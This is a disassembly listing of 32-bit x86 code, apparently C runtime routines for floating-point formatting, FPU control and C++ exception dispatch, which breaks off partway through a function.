; Attributes: bp-based frame

; int __cdecl sub_4104EB(double,int)

sub_4104EB	proc near		; CODE XREF: sub_41056E+82p
					; sub_41056E+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4104EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410514	proc near		; CODE XREF: sub_40B7DA+31p
					; sub_40B923+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41052B
		cmp	[ebp+arg_0], edx
		jnz	short loc_41053D
		push	1
		jmp	short loc_410567
; ---------------------------------------------------------------------------


loc_41052B:				; CODE XREF: sub_410514+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41053D
		cmp	[ebp+arg_0], edx
		jnz	short loc_41053D
		push	2
		jmp	short loc_410567
; ---------------------------------------------------------------------------


loc_41053D:				; CODE XREF: sub_410514+11j
					; sub_410514+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_410550
		push	3
		jmp	short loc_410567
; ---------------------------------------------------------------------------


loc_410550:				; CODE XREF: sub_410514+36j
		cmp	cx, 7FF0h
		jnz	short loc_41056A
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_410565
		cmp	[ebp+arg_0], edx
		jz	short loc_41056A


loc_410565:				; CODE XREF: sub_410514+4Aj
		push	4


loc_410567:				; CODE XREF: sub_410514+15j
					; sub_410514+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41056A:				; CODE XREF: sub_410514+41j
					; sub_410514+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_410514	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41056E(double,int)

sub_41056E	proc near		; CODE XREF: sub_4101C2+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_4177A0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41058E
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_410624
; ---------------------------------------------------------------------------


loc_41058E:				; CODE XREF: sub_41056E+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4105FD
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_4105A6
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4105FD


loc_4105A6:				; CODE XREF: sub_41056E+31j
		fld	[ebp+arg_0]
		fcomp	dbl_4177A0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_4105BE
		push	1
		pop	eax
		jmp	short loc_4105C0
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_41056E+49j
		xor	eax, eax


loc_4105C0:				; CODE XREF: sub_41056E+4Ej
					; sub_41056E+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_4105D9
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_4105D3
		or	dword ptr [ebp+arg_0+4], 1


loc_4105D3:				; CODE XREF: sub_41056E+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_4105C0
; ---------------------------------------------------------------------------


loc_4105D9:				; CODE XREF: sub_41056E+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_4105E7
		or	byte ptr [ebp+arg_0+7],	80h


loc_4105E7:				; CODE XREF: sub_41056E+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4104EB
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_410624
; ---------------------------------------------------------------------------


loc_4105FD:				; CODE XREF: sub_41056E+28j
					; sub_41056E+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4104EB
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_410624:				; CODE XREF: sub_41056E+1Bj
					; sub_41056E+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41056E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41062F	proc near		; CODE XREF: sub_40FF0F+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41062F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41063D	proc near		; CODE XREF: sub_40FF0F+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41063D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41064C	proc near		; CODE XREF: sub_40B7DA+13p
					; sub_40B7DA+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41064C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41066F	proc near		; CODE XREF: sub_4101C2+1Dp
					; sub_4101C2+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_410686
		fld	tbyte_41FD38
		fistp	[ebp+arg_0]
		wait


loc_410686:				; CODE XREF: sub_41066F+Bj
		test	cl, 8
		jz	short loc_41069B
		fstsw	ax
		fld	tbyte_41FD38
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41069B:				; CODE XREF: sub_41066F+1Aj
		test	cl, 10h
		jz	short loc_4106AA
		fld	tbyte_41FD44
		fstp	[ebp+var_8]
		wait


loc_4106AA:				; CODE XREF: sub_41066F+2Fj
		test	cl, 4
		jz	short loc_4106B8
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4106B8:				; CODE XREF: sub_41066F+3Ej
		test	cl, 20h
		jz	short locret_4106C3
		fldpi
		fstp	[ebp+var_8]
		wait

locret_4106C3:				; CODE XREF: sub_41066F+4Cj
		leave
		retn
sub_41066F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4106C5	proc near		; CODE XREF: sub_40B8A9+Fp
		push	30000h
		push	10000h
		call	sub_413685
		pop	ecx
		pop	ecx
		retn
sub_4106C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4106D7	proc near		; CODE XREF: sub_410715:loc_410739j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4177B0
		fstp	[ebp+var_8]
		fld	dbl_4177A8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_417630
		fnstsw	ax
		sahf
		jbe	short loc_410711
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_410711:				; CODE XREF: sub_4106D7+33j
		xor	eax, eax
		leave
		retn
sub_4106D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_410715	proc near		; CODE XREF: sub_40B8A9+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_41708C	; GetModuleHandleA
		test	eax, eax
		jz	short loc_410739
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_417088	; GetProcAddress
		test	eax, eax
		jz	short loc_410739
		push	0
		call	eax ; sub_40B8A9
		retn
; ---------------------------------------------------------------------------


loc_410739:				; CODE XREF: sub_410715+Dj
					; sub_410715+1Dj
		jmp	sub_4106D7
sub_410715	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41073E	proc near		; CODE XREF: sub_40D768+3CBp
					; DATA XREF: sub_40B8C1+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40CEE0
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41077E


loc_410752:				; CODE XREF: sub_41073E+3Ej
		inc	esi
		cmp	dword_41FF84, 1
		jle	short loc_41076B
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_41077A
; ---------------------------------------------------------------------------


loc_41076B:				; CODE XREF: sub_41073E+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_41FD78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41077A:				; CODE XREF: sub_41073E+2Bj
		test	eax, eax
		jnz	short loc_410752


loc_41077E:				; CODE XREF: sub_41073E+12j
		mov	cl, byte_41FF88
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_410789:				; CODE XREF: sub_41073E+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_410789
		pop	esi
		retn
sub_41073E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410798	proc near		; CODE XREF: sub_40D768+3E2p
					; DATA XREF: sub_40B8C1+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_41FF88
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4107B4


loc_4107A8:				; CODE XREF: sub_410798+1Aj
		cmp	cl, dl
		jz	short loc_4107B4
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4107A8


loc_4107B4:				; CODE XREF: sub_410798+Ej
					; sub_410798+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_4107E5


loc_4107BB:				; CODE XREF: sub_410798+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4107CE
		cmp	cl, 65h
		jz	short loc_4107CE
		cmp	cl, 45h
		jz	short loc_4107CE
		inc	eax
		jmp	short loc_4107BB
; ---------------------------------------------------------------------------


loc_4107CE:				; CODE XREF: sub_410798+27j
					; sub_410798+2Cj ...
		mov	ecx, eax


loc_4107D0:				; CODE XREF: sub_410798+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_4107D0
		cmp	[eax], dl
		jnz	short loc_4107DB
		dec	eax


loc_4107DB:				; CODE XREF: sub_410798+40j
					; sub_410798+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_4107DB

locret_4107E5:				; CODE XREF: sub_410798+21j
		retn
sub_410798	endp


; =============== S U B	R O U T	I N E =======================================



sub_4107E6	proc near		; DATA XREF: sub_40B8C1+28o
					; .nsp0:off_41FD60o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_4177A0
		fnstsw	ax
		sahf
		jb	short loc_4107FB
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4107FB:				; CODE XREF: sub_4107E6+Fj
		xor	eax, eax
		retn
sub_4107E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107FE	proc near		; CODE XREF: sub_40DF72+430p
					; DATA XREF: sub_40B8C1+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_410827
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_413B48
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_410827:				; CODE XREF: sub_4107FE+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_413B75
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_4107FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41083C	proc near		; CODE XREF: sub_410AB9+17p
					; sub_410B03+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_47F97C, 0
		push	ebx
		push	esi
		jz	short loc_410871
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_47F978
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_410B54
		pop	ecx
		pop	ecx
		jmp	short loc_4108A9
; ---------------------------------------------------------------------------


loc_410871:				; CODE XREF: sub_41083C+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_413C19
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_413BA2
		add	esp, 14h


loc_4108A9:				; CODE XREF: sub_41083C+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4108B5
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4108B5:				; CODE XREF: sub_41083C+73j
		test	ebx, ebx
		jle	short loc_4108CD
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_41FF88
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_4108CD:				; CODE XREF: sub_41083C+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_47F97C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_40CD70
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_4108F4
		mov	byte ptr [ecx],	45h


loc_4108F4:				; CODE XREF: sub_41083C+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_410939
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_410908
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_410908:				; CODE XREF: sub_41083C+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41091F
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41091F:				; CODE XREF: sub_41083C+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_410936
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_410936:				; CODE XREF: sub_41083C+E7j
		add	[ecx+1], bl


loc_410939:				; CODE XREF: sub_41083C+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41083C	endp


; =============== S U B	R O U T	I N E =======================================



sub_410940	proc near		; CODE XREF: sub_410AE0+13p
					; sub_410B03+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_47F97C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41097B
		mov	eax, dword_47F980
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_47F978
		cmp	eax, ebx
		jnz	short loc_4109AB
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4109AB
; ---------------------------------------------------------------------------


loc_41097B:				; CODE XREF: sub_410940+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_413C19
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_413BA2
		add	esp, 14h


loc_4109AB:				; CODE XREF: sub_410940+22j
					; sub_410940+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4109B9
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4109B9:				; CODE XREF: sub_410940+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_4109D0
		push	1
		push	edi
		call	sub_410B54
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_4109D2
; ---------------------------------------------------------------------------


loc_4109D0:				; CODE XREF: sub_410940+7Ej
		add	edi, eax


loc_4109D2:				; CODE XREF: sub_410940+8Ej
		test	ebx, ebx
		jle	short loc_410A17
		push	1
		push	edi
		call	sub_410B54
		mov	al, byte_41FF88
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_410A17
		cmp	byte_47F97C, 0
		jz	short loc_4109FC
		neg	esi
		jmp	short loc_410A02
; ---------------------------------------------------------------------------


loc_4109FC:				; CODE XREF: sub_410940+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_410A04


loc_410A02:				; CODE XREF: sub_410940+BAj
		mov	ebx, esi


loc_410A04:				; CODE XREF: sub_410940+C0j
		push	ebx
		push	edi
		call	sub_410B54
		push	ebx
		push	30h
		push	edi
		call	sub_40B630
		add	esp, 14h


loc_410A17:				; CODE XREF: sub_410940+94j
					; sub_410940+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_410940	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A1E	proc near		; CODE XREF: sub_410B03+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_413C19
		mov	dword_47F978, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_47F980, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_413BA2
		mov	eax, dword_47F978
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_47F980, ecx
		setl	cl
		mov	byte_47F984, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_47F980, eax
		jl	short loc_410AA4
		cmp	eax, ebx
		jge	short loc_410AA4
		test	cl, cl
		jz	short loc_410A95


loc_410A8B:				; CODE XREF: sub_410A1E+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_410A8B
		and	[esi-2], al


loc_410A95:				; CODE XREF: sub_410A1E+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_410AE0
		add	esp, 0Ch
		jmp	short loc_410AB4
; ---------------------------------------------------------------------------


loc_410AA4:				; CODE XREF: sub_410A1E+63j
					; sub_410A1E+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_410AB9
		add	esp, 10h


loc_410AB4:				; CODE XREF: sub_410A1E+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410A1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AB9	proc near		; CODE XREF: sub_410A1E+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_47F97C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41083C
		and	byte_47F97C, 0
		add	esp, 10h
		retn
sub_410AB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AE0	proc near		; CODE XREF: sub_410A1E+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_47F97C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_410940
		and	byte_47F97C, 0
		add	esp, 0Ch
		retn
sub_410AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B03	proc near		; CODE XREF: sub_40D768+3AAp
					; DATA XREF: sub_40B8C1o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_410B3E
		cmp	[ebp+arg_8], 45h
		jz	short loc_410B3E
		cmp	[ebp+arg_8], 66h
		jnz	short loc_410B2B
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410940
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_410B2B:				; CODE XREF: sub_410B03+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410A1E
		jmp	short loc_410B4F
; ---------------------------------------------------------------------------


loc_410B3E:				; CODE XREF: sub_410B03+7j
					; sub_410B03+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41083C


loc_410B4F:				; CODE XREF: sub_410B03+39j
		add	esp, 10h
		pop	ebp
		retn
sub_410B03	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B54	proc near		; CODE XREF: sub_41083C+2Cp
					; sub_410940+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_410B77
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_40B5B0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_40BE50
		add	esp, 10h
		pop	esi


loc_410B77:				; CODE XREF: sub_410B54+7j
		pop	edi
		retn
sub_410B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B79	proc near		; CODE XREF: .nsp0:0040BAA4p
					; sub_40BB0D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_410B8F
		call	sub_411422


loc_410B8F:				; CODE XREF: sub_410B79+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_410BB7
		cmp	dword ptr [esi+4], 0
		jz	short loc_410C0D
		cmp	[ebp+arg_14], 0
		jnz	short loc_410C0D
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_410EC0
		add	esp, 10h
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410BB7:				; CODE XREF: sub_410B79+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_410C0D
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_410BF1
		cmp	[eax+14h], edi
		jbe	short loc_410BF1
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_410BF1
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_410C10
; ---------------------------------------------------------------------------


loc_410BF1:				; CODE XREF: sub_410B79+4Aj
					; sub_410B79+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_410C14
		add	esp, 20h


loc_410C0D:				; CODE XREF: sub_410B79+23j
					; sub_410B79+29j ...
		push	1
		pop	eax


loc_410C10:				; CODE XREF: sub_410B79+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_410B79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C14	proc near		; CODE XREF: sub_410B79+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_410C34
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_410C39


loc_410C34:				; CODE XREF: sub_410C14+16j
		call	sub_411422


loc_410C39:				; CODE XREF: sub_410C14+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_410D90
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_410CAD
		cmp	[esi+14h], edi
		jnz	short loc_410CAD
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_410CAD
		mov	esi, dword_47F988
		test	esi, esi
		jz	loc_410D8B
		mov	eax, dword_47F98C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_413DA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C8F
		call	sub_411422


loc_410C8F:				; CODE XREF: sub_410C14+74j
		cmp	[esi], ebx
		jnz	loc_410D90
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_410CAD
		cmp	[esi+14h], edi
		jnz	short loc_410CAD
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_410CAD
		call	sub_411422


loc_410CAD:				; CODE XREF: sub_410C14+41j
					; sub_410C14+46j ...
		cmp	[esi], ebx
		jnz	loc_410D90
		cmp	dword ptr [esi+10h], 3
		jnz	loc_410D90
		cmp	[esi+14h], edi
		jnz	loc_410D90
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_40BC5B
		add	esp, 14h
		mov	ebx, eax


loc_410CE4:				; CODE XREF: sub_410C14+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_410D7B
		cmp	[ebx], edi
		jg	short loc_410D70
		cmp	edi, [ebx+4]
		jg	short loc_410D70
